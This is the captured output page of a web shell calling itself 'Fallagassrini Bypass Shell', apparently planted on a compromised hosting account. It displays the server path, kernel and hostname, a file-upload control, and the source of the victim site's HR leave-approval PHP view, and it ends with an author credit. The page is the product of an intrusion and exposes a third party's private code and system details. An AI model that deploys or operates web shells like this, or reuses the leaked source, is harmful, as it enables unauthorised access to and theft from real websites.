? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/leave_approval_list.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
?>
<script>
    function leave_approval(id)
        {
            $("#staffsdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
            $("#staffsdiv").load("<?= site_url('hr/leave_approval/') ?>/"+id);
            $(".statusicon").colorbox({width:"55%",height:"55%", inline:true, href:"#staffsdiv"});
        }
        function updateleavestatus()
        {
            var leave_status=document.getElementById('leave_status').value ;
            var leave_application_id=document.getElementById('leave_application_id').value ;
            $.ajax({
                      type: 'POST',
                      url: '<?php echo site_url('hr/updateleavestatus/'); ?>',
                      data: "leave_application_id="+leave_application_id+"&leave_status="+leave_status,
                      success: function(data)
                      {
                        alert(data);
                        $.fn.colorbox.close();
                        leave_approval_list();
                      }

                    });
          }
</script>    

                        <table class="sort" cellpadding="0" cellspacing="0">
                        <caption>Pending Leave Application</caption>
                            <thead>
                                <tr>
                                <th>Sl No</th>
                                <th>Employee Name</th>
                                <th>From Date</th>
                                <th>To Date</th>
                                <th>Leave Type</th>
                                <th>Status</th>
                               <th width="10%">Action</th>
                                </tr>
                            </thead>
                            <tbody>

                            <?php
                            
                                if ($viewinfo->num_rows() > 0)
                                {
                                    $table="";
                                    $field="";
                                    $z=1;             $i=0;
                                    foreach ($viewinfo->result() as $row)
                                    {

                                        if($z%2==0)
                                            $alt="alt";
                                        else
                                            $alt="alt1";
                            ?>
                                <tr class="<?=$alt;?>">
                                    <td><?=++$i;?></td>
                                    <td><a href="#" onclick="displayformdata('hr','single_page','<?=$row->leave_application_id;?>','leave_application','leave_application_id','single_leave_application')" ><?=$row->employee_name;?></a></td>
                                    <td><?=$this->mastermodel->convertdatenormalformat($row->from_date);?></td>
                                    <td><?=$this->mastermodel->convertdatenormalformat($row->to_date);?></td>
                                    <td><?=$row->leave_type_name;?></td>
                                    <td><?=$row->leave_status;?></td>
                                    <td>
                                        <div id="console_fronticons">
                                            <?php
                                            $staff_list = $_SESSION['employee_id'] . ',';
                                            $employees = $this->mastermodel->traceemployee($_SESSION['employee_id'], $staff_list);
                                            $users = explode(',', $employees);
                                            if (in_array($row->employee_id, $users) && $row->leave_status == "Pending" && ($_SESSION['employee_id'] != $row->employee_id || $_SESSION['sgms_userid'] == 1))
                                            {
                                            ?>
                                            <div class="fronticons">
                                                <img src="<?=base_url()?>/assets/images/documentinfo.png"  title="Status" width="20" class="statusicon" height="20" alt="Status" align = "center" onclick="leave_approval(<?=$row->leave_application_id;?>)"/>
                                            </div>
                                            <?php
                                            }
                                            ?>
                                          
                                            
                                        </div>
                                    </td>
                            <?php
                                        $z++;

                                    }
                                    ?>
                                </tr>
                            <?php
                                }
                            ?>
                            </tbody>
                        </table>
<div style='display:none'>
                                 <div id='staffsdiv' style='padding:10px; background:#fff;'>
                                </div>
                            </div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net